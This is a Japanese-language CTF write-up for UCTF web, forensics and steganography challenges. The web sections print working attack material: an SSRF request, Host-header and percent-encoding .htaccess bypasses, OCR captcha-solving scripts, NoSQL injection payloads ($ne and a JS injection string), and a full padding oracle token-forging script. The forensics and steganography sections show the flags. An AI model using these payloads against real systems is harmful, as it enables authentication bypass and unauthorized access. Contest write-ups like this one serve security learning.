- [Web] E Corp.
- [Web] htaccess
- [Web] Captcha1 | the Missing Lake
- [Web] captcha2 | the Missing Lake 2
- [Web] MongoDB NoSQL Injection
- [Web] Padding Oracle Adventure
- [Forensics] HTTPS Decryption
- [Forensics] Network Punk
- [Forensics] Hidden Streams
- [Forensics] Deleted Message
- [Steganography] Dorna
- [Steganography] Deb File | The Old Systems
[Web] E Corp.
http://admin-panel.local
に到達するのが最終的なゴール。
Burp Suiteを起動しサイトを巡回するとPOST /api/view.php
で{"post":"file:///posts/Azita"}
というリクエストが飛んでいる。
SSRF脆弱性ということだろう。
{"post":"http://admin-panel.local"}
にして送るとフラグが得られる。
[Web] htaccess
/one/flag.txt
と、/two/flag.txt
にそれぞれ.htaccessファイルを使ったアクセス制限がかかっているのでbypassせよという問題。
one
.htaccessは以下。
RewriteEngine On RewriteCond %{HTTP_HOST} !^localhost$ RewriteRule ".*" "-" [F]
書き換えの条件として、HTTPリクエストのHostヘッダーがlocalhostでないという条件になっている。
普通にアクセスすると以下のような感じ。
GET /one/flag.txt HTTP/1.1 Host: htaccess.uctf.ir Connection: close
これでは条件に合致して書き換えられるので、Hostヘッダーを変更して送るとフラグがもらえる。
GET /one/flag.txt HTTP/1.1 Host: localhost Connection: close
two
.htaccessは以下。
RewriteEngine On RewriteCond %{THE_REQUEST} flag RewriteRule ".*" "-" [F]
自分のCTFメモ帳にこの状況に完全に合致する記載があった。
- `RewriteCond %{THE_REQUEST} flag`みたいにTHE_REQUESTで制限がある場合はパーセントエンコーディングでbypass可能 - `%{THE_REQUEST}`は`GET /two/fla%67.txt HTTP/1.1`みたいに1行目をそのまま持ってきているので、パーセントエンコーディングしてあれば引っかからない。だが、使われるときはパーセントエンコーディングが解かれているので、gを%67に変換してやるみたいなことをするだけでいい
ん?と一瞬思ったが、まあ、とりあえず気にしないことにして、このメモにあるように、パーセントエンコーディングして出すと後半がもらえる。
GET /two/fla%67.txt HTTP/1.1 Host: htaccess.uctf.ir
過去問題の流用だった。過去に解説書いていた
https://blog.hamayanhamayan.com/entry/2022/09/25/232936#web-helicoptering
[Web] Captcha1 | the Missing Lake
自作のRecaptchaシステムが与えられるので300回回避する問題。
適当に以下とかを見ながら環境を作る。
tesseract+pytesseractのdockerコンテナ
これでOCRを使ってソルバーを書いて回避。
使ったOCRエンジンの精度がひどいが、失敗してもペナルティ無しなので、適当に回していればフラグまでたどり着く。
import requests import re import base64 from PIL import Image import pytesseract BASE_URL = 'https://captcha1.uctf.ir' INIT_SESSID = '5af1ob090g94h8plhnm27v61gp' cookies = { 'PHPSESSID': INIT_SESSID, '926835342a210d84823968c8328cc3c8' : '6a1941a8e10bb5cbd77de0fd19bcebae' } b64image = re.search(r'data:image\/png;base64,([^"]*)"', requests.get(BASE_URL + '/', cookies=cookies).text)[1] with open("image.png", 'bw') as fp: fp.write(base64.b64decode(b64image)) for i in range(300): print(i) ocred = pytesseract.image_to_string(Image.open("image.png")).strip() t = requests.post(BASE_URL + '/', data={'captcha': ocred}, cookies=cookies).text b64image = re.search(r'data:image\/png;base64,([^"]*)"', t)[1] with open("image.png", 'bw') as fp: fp.write(base64.b64decode(b64image))
[Web] captcha2 | the Missing Lake 2
URLが張ってないので、同じ問題にもう一つフラグが隠されているのか…?と思ったが、単にリンクが張られてないだけだった。
前問が https://captcha1.uctf.ir/ だったので、https://captcha2.uctf.ir/ に行くとサイトがあった。
今回は画像を読み取って動物の種類を答える問題。
画像は同じ画像が結構使われていて、ファイル名は一意っぽい。
レパートリーも少なそうなので、ファイル名で辞書を作って答えていこう。
以下のようなスクリプトで辞書を作りながら動かして検証を100回通せばフラグがもらえる。
import requests import re import base64 BASE_URL = 'https://captcha2.uctf.ir' INIT_SESSID = '0pfvielcd3h230l85piu1beihr' cookies = { 'PHPSESSID': INIT_SESSID, 'f873062f0559114b30a8e84091decac1' : '47c7b54c28039b0e99ddb4f2c37825a1' } dic = { 'C29E4D9C8824409119EAA8BA182051B89121E663.jpeg': 'falcon', '73335C221018B95C013FF3F074BD9E8550E8D48E.jpeg': 'penguin', '6D0EBBBDCE32474DB8141D23D2C01BD9628D6E5F.jpeg': 'rabbit', '148627088915C721CCEBB4C611B859031037E6AD.jpeg': 'snake', '09F5EDEB4F5B2A4E4364F6B654682C6758A3FA16.jpeg': 'bear', '9D989E8D27DC9E0EC3389FC855F142C3D40F0C50.jpeg': 'cat', '091B5035885C00170FEC9ECF24224933E3DE3FCC.jpeg': 'horse', '5ECE240085B9AD85B64896082E3761C54EF581DE.jpeg': 'duck', '9E05E6832CAFFCA519722B608570B8FF4935B94D.jpeg': 'mouse', 'FF0F0A8B656F0B44C26933ACD2E367B6C1211290.jpeg': 'fox', 'E49512524F47B4138D850C9D9D85972927281DA0.jpeg': 'dog', } t = requests.get(BASE_URL + '/', cookies=cookies).text r = re.search(r'<img src="([0-9[A-F]+\.jpeg)">\s*<img src="([0-9[A-F]+\.jpeg)">', t) img1 = r[1] img2 = r[2] for i in range(300): print(i) if not img1 in dic: print(BASE_URL + '/' + img1) exit(0) if not img2 in dic: print(BASE_URL + '/' + img2) exit(0) t = requests.post(BASE_URL + '/', data={'captcha': dic[img1] + '-' + dic[img2]}, cookies=cookies).text r = re.search(r'<img src="([0-9[A-F]+\.jpeg)">\s*<img src="([0-9[A-F]+\.jpeg)">', t) img1 = r[1] img2 = r[2]
[Web] MongoDB NoSQL Injection
MongoDB Injectionができるらしいサイトが与えられる。
ソースコードは無い。
ログインページをまずは突破する。
色々試すと、以下のような$neで突破可能。
POST /login HTTP/2 Host: cp.uctf.ir Cookie: ssid=s%3Aa75c57de-ed3c-4eb1-b795-bbc2a9f178dc.qcheCIEffGtOrDN6YbYgLKX4nJ4URy%2FUbBfaYKxrkPA; ba07499ab750e5460403c776a406d8aa=d103ff7eb8dbfa2365a1f545a1eee34f Content-Length: 49 Content-Type: application/json {"username":{"$ne": "x"},"password":{"$ne": "x"}}
GET /home
にリダイレクトされるが、ユーザー検索ができる画面が与えられる。
手元のpayloadを適当に試すと、'; return true; var d='
で条件式を恒真にできてユーザーリストが手に入る。
そこにフラグもあった。
[Web] Padding Oracle Adventure
Padding Oracle攻撃をする問題らしい。
以下Padding Oracle攻撃自体の説明はしない。
より詳解している所で学習することを勧める。
hint 1: login page grants access to a user with the credentials "guest" for both the username and password.
guest:guestでログイン可能らしいので、ログインする。
cookieを見るとtoken=fo39v%2FbeY1IAAZZpwmHSIpJmRYL0z%2BjmRL8P6g7pWgLeIuxvjxSoOA2cAZQRmNtN
となっている。
変なtokenを提出してみるとerror:1C800064:Provider routines::bad decrypt
と言われる。良さそう。
hint 2: token structure: {"user": ""}
ということで、今回のcookieは{"user": "guest"}
になっているということ?
guest:guestでログインした後の画面に
In order to escape from matrix you sould become Top-G
in other words you should login as topg
とあるので{"user": "topg"}
を作ればよさそう。
ブロックサイズが16とすると、{"user": "topg"}
は15bytesなので、パディングを入れると{"user": "topg"}\01
のようになるはず。
tokenのサイズを見ると、48bytesなので、どんな感じに入っているかは分からないが、32bytesで足りそうではあるので先頭にIVがくっついているんだろう。
よって、token = [IV 16bytes] + [enc1 16bytes] + [enc2 16bytes]
になっているはず。
今回作りたい{"user": "topg"}\01
は16bytes分の1block分で事足りるので、tokenの末尾16bytesを削っておき、検証に利用する事にする。
Padding Oracle攻撃を単純に適用すればいい問題なので後は実装を頑張る。
from tqdm import tqdm import struct from Crypto.Util.strxor import * import binascii import base64 import requests import urllib.parse BASE_URL = 'https://matrix.uctf.ir' def check(c): # bytes -> bool c = base64.b64encode(c) c = urllib.parse.quote(c) t = requests.get(BASE_URL + '/profile', cookies={ 'a07680ed6e93df92c495eaba7ddfe23b': 'eb81b14c5e5d7d24307dfde6d29f57d1', 'token': c}).text ret = 'error:1C800064:Provider routines::bad decrypt' not in t return ret def rewrite(enc, aim, bsize): assert len(enc) % bsize == 0 num_block = len(enc) // bsize for i in range(num_block): print(b'[block ' + str(i + 1).encode() + b'] ' + enc[i*bsize:(i+1)*bsize]) num_aim_block = len(aim) // bsize res = enc[(num_block - 1)*bsize:num_block*bsize] curr_block = enc[(num_block - 1)*bsize:num_block*bsize] for idx_block in range(num_aim_block): dec = b'' for i in tqdm(range(bsize)): for j in tqdm(range(256)): payload = b'\x00' * (bsize - i - 1 + (num_block - 2 - idx_block)*bsize) + struct.pack("B", j) + strxor(struct.pack("B", i + 1) * i, dec) + curr_block if check(payload): dec = strxor(struct.pack("B", i + 1), struct.pack("B", j)) + dec break assert len(dec) == i + 1 curr_block = strxor(aim[(num_aim_block - 1 - idx_block)*bsize:(num_aim_block - idx_block)*bsize], dec) res = curr_block + res res = enc[0:(num_block - (num_aim_block + 1))*bsize] + res return res enc = 'fo39v/beY1IAAZZpwmHSIpJmRYL0z+jmRL8P6g7pWgI=' enc = base64.b64decode(enc) res = rewrite(enc, b'{"user":"topg"}\x01', 16) res = base64.b64encode(res) print(res)
こうしてできたtokenをcookieに入れてGET /profile
するとフラグが得られる。
[Forensics] HTTPS Decryption
HTTPS通信と復号に必要なmaster keyが渡される。
Wiresharkで設定を開いて、Protocols > TLS > (Pre)-Master-Secret log filenameにmaster_keys.logを入れると平文になる。
tls and (http or http2)
でフィルタするとHTTPS通信の中身が取れてくるので、流し見るとフラグが書いてある。
[Forensics] Network Punk
良く分からないTCP通信が記録されているので、TCPストリーム表示にして眺めると、ストリーム8にAAが記録されていて、フラグが書いてあった。
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@ @@@@ @@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@ @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@@@@@@@@ @@ @@@@@@@@@@@ @@@@@ @@@ @@@@@@ @@ @@@@ @@@ @@@ @@@@@ @@@ @@ @@@@ @@@@ @@@@@@ @@@@@@ @@@@@@@@@@@ @@@@@@@ @@@@ @@@ @@ @ @@@ @@ @@@@ @@@@ @ @@ @@@ @@@@@@ @@ @@@@ @@@@@@@ @@@@@ @@@@@ @@@ @@ @@@@ @@@@@ @@ @@ @@@@@@ @@@@@@ @ @@@@@@@@@@@ @@ @@@@@ @@@@ @@@@@@ @@@ @@ @@@@ @@@@@@ @@@ @@@ @@@@@@ @@ @@@@ @@@@@@@ @@@@@ @@@@ @@@ @@ @@@@ @@@@@@ @@ @@ @@@@@@ @@@@@ @@@@@@@@@@ @@ @@@@@@@ @@@@ @@@@@@ @ @@@@ @@ @@@@ @@@@@@ @@@@ @@ @@@@@@ @@ @@@@ @@@@@@ @@@@@ @@@@@@ @@@ @@ @@@@ @@@@@@ @@ @@ @@@@@@ @@@@@@@@ @@@@@@@@@@@ @@ @@@@@@@ @@@@ @@@@@ @ @@@@@ @@ @@@@ @@@@@@ @@@ @@@ @@@@@@ @@@@@ @@@@ @@@ @@@@@@ @@@ @@@@ @@@@@@ @@ @@ @@@@ @@@@@@ @@@@@@@@@@@ @@ @@@@ @@@@ @@@@ @ @@@@@ @@@@ @@@@@@ @ @@ @@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[Forensics] Hidden Streams
vhdファイルが与えられる。Autopsyで開いて解析させる。
すると、flag.zipというのがあり、そのADSとしてlookbehindというのが格納されている。
"Hidden Stream"はADSのことだった。
flag.zipにはpassword:Atoosaとあり、lookbehindは暗号化zipだったので、
lookbehindを持ってきて指定のパスワードで解凍するとフラグが手に入る。
[Forensics] Deleted Message
androidのデータパーティションのダンプが渡される。
SMSの内容を復元するのが目的。
SMSのフォレンジックについて解説している所が無いか探すと以下のサイトが見つかる。
https://www.magnetforensics.com/blog/android-messaging-forensics-sms-mms-and-beyond/
ここにあるアーティファクトを順番に確認すると、bugle_dbにフラグがあった。
data/user/0/com.android.messaging/databases/bugle_db
をsqlitebrowserで開き、partsテーブルにフラグが書いてある。
[Steganography] Dorna
jpeg画像が与えられる。
if you need a password anywhere use this "urumdorn4"
というヒントがあるのでパスワードを使って抽出する系のステガノツールを試すと
steghideでファイルが抽出でき、フラグも書いてある。
$ steghide extract -sf dorna.jpg -p urumdorn4 -xf out wrote extracted data to "out". $ file * dorna.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 720x480, components 3 out: ASCII text $ cat out Hello, wish you success in our event 'dorna lar yovasi' is the nickname of a stadium in Urmia where volleyball lovers gather together. This place has hosted important competitions such as the VNL and the Asian Championship. flag : uctf{ZG9ybmFfbGFyX3lvdmFzaQ==} *base64-encoded $ echo 'ZG9ybmFfbGFyX3lvdmFzaQ==' | base64 -d dorna_lar_yovasi
[Steganography] Deb File | The Old Systems
debファイルが与えられる。
7zipで解凍できないかなーとやってみるとできる。
一通り解凍するとこんな感じ。
$ file * control: ASCII text control.tar: POSIX tar archive (GNU) control.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 10240 data.tar: POSIX tar archive (GNU) data.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 10240 debian-binary: ASCII text postinst: Bourne-Again shell script, ASCII text executable uctfdeb-0.0.1.deb: Debian binary package (format 2.0), with control.tar.gz, data compression gz usr: directory
postinstというファイルにフラグが書いてあった。
$ cat postinst #!/usr/bin/env bash # Create folder if [ ! -d "/tmp/UCTFDEB" ]; then mkdir "/tmp/UCTFDEB" fi # Move the flag echo 'UCTF{c4n_p3n6u1n5_5urv1v3_1n_54l7_w473r}' > /tmp/UCTFDEB/dont-delete-me